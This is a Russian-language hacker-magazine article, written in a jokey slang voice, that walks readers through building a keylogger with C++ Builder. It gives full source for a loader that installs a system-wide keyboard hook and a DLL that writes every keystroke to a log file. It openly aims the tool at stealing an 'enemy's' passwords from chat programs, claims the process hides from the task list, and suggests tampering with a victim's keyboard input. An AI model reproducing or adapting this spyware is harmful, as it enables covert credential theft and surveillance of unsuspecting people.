Миллиардер по имени Билл
Новый пароль, улыбаясь, вводил.
Быстро сработал KeySpy.exe -
Знает пароль каждый хакер в Москве 🙂
Привет, кул хацкер! Ну как, уже поюзал
прогу, исходники которой я выложил в
прошлой статье
про написание трояна? Прогресс не стоит на
месте, и теперь не стоит создавать себе
излишний церебральный секс (по-русски - "имение
мозгов" [прим.авт.]), выкачивая User.dat с его
компа, в надежде отковырять там его L&P.
Итак, счастье - дело техники (читай, софта), и
оно в твоих руках, хацкер!
Для обеспечения тебя сведениями о логине
и пароле врага, а также его мнении о тебе,
политике госдуратства 🙂 и пр. в аське, мирке
и даже WEB-чате идеально подходит
клавиатурный шпион, учебная версия
которого (с исходниками) и представлена
твоему вниманию. [В статье “Клавиатурный
шпион своими руками” даны подробные
исходники на ассемблере. Автор крут (я
серьёзно). Ассемблер - хороший язык для
ускорения прог (особенно при работе с
графикой) и компактного кода, но такой код
не катит в качестве примера.]
Мои исходники - всё на том же C++, который
идеален с точки зрения учебно-познавательно-
быстроклепательных целей. Конкретно, тебе
понадобится С++ Builder любой версии и немного
умения работать в его среде разработки (если
умеешь на Дельфях - считай, умеешь работать
и на Builder’e 🙂
Для начала немного теории: в целях
упрощения отладки больших и сложных прог (мультипроцессовых
и многопоточных) в winAPI включена функция
SetWindowsHookEx, которая позволяет перехватывать
сообщения виндов, причём фильтруя их (в
зависимости от того, какие сообщения важны
при отладке [параметр idHook]). Функция на самом
деле очень мощная - вот пример, для чего её
можно использовать (а ты думал, только
кнопки пасти, да ? ;):
WH_CALLWNDPROC - перехват всех сообщений, причём
до того как они были посланы системой
конкретному окну (это юзает утилита Spy++,
входящая в состав Visual C++).
WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для
записи и воспроизведения макросов (в
основном использовалась мной для
беспредельного глумления над существами с
именем Default User 🙂
WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а
вместо Task Manager выполняется твоя функция!
WH_KEYBOARD - ну тут всё и так понятно (используется
в прилагаемых исходниках с известной целью
🙂
Я перечислил не все возможности этой
кульной функции, а только те, которые можно
поюзать в нашем грязном деле 🙂 Об остальных
читай мои статьи под номером NEXT.
Но есть у этой функции своя беда - один из её
параметров [dwThreadId] должен указывать на
поток, сообщения к которому и следует
перехватывать. Если ты укажешь ID главного
потока своей проги - получишь клавиатурный
ввод только с него, а если этот параметр
будет 0 (все потоки) и функция обработки
будет находиться прямо внутри твоей проги -
нифига не получишь, потому что этот поток
будет также принадлежать ПРОЦЕССУ твоей
проги (только, к тому же, не будет главным
потоком 🙂 Выход из ситуации - создать новый
ПРОЦЕСС. Для чего из проги вызывается DLL (при
желании можно и EXE) с этой самой “шпионской
функцией” 😉 Заметь - эту DLL не видно не
только по Ctrl+Alt+Del, но и в списке процессов, а
всё потому, что новый процесс - “дитё”
главного процесса приложения (вот тебе и
идея, сыроватая правда, как из процессов
проги прятать 😉
А вот и долгожданные исходники - два
отдельных проекта;
1) Основная прога (File->New Application, затем
удалить “форму” и Unit1.cpp, затем выбрать
Project->View Source):
//--------------------------
/* <*.h> - заголовочные файлы, чтобы юзать
функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не
надо - и так работает 🙂
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию
// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и
будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");
// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за
клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );
while(1) {}; // Зацикливаем прогу, чтобы DLL висела
в памяти
}
//--------------------------
2) DLL (File->New..., затем выбрать “DLL”) -
обработчик сообщений от клавиатуры:
//--------------------------
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
// Объявляем функцию для того, чтобы
основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл
// Открываем файл с логом на добавление, если
его нет - создаём
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной
кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
/* Перед выходом из функции - вызываем
нормальный обработчик
сообщений от клавы (что толку от шпиона,
если остальные
проги перестанут на клаву реагировать ? 🙂
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как
есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------
Кстати, если ты решил просто поиздеваться
над врагом - можно, не меняя кнопки на клаве
физически, поменять сообщения от кнопок (раз
уж они всё равно перехвачены, никто не
обязывает передавать их дальше в исходном
виде :)))
З.Ы. Если интересно - про процессы, потоки,
очереди сообщений и прочую виндовую
лабудень хорошо написано в MSDN. Приведённые
выше исходники - не более чем пример
программы для “отладки” очередей
сообщений под windows, а что ты, перец, с ними
делать надумал - знать не знаю 😉
З.З.Ы. Эта прога тестировалась на Win98 и WinXP, -
прокатило 🙂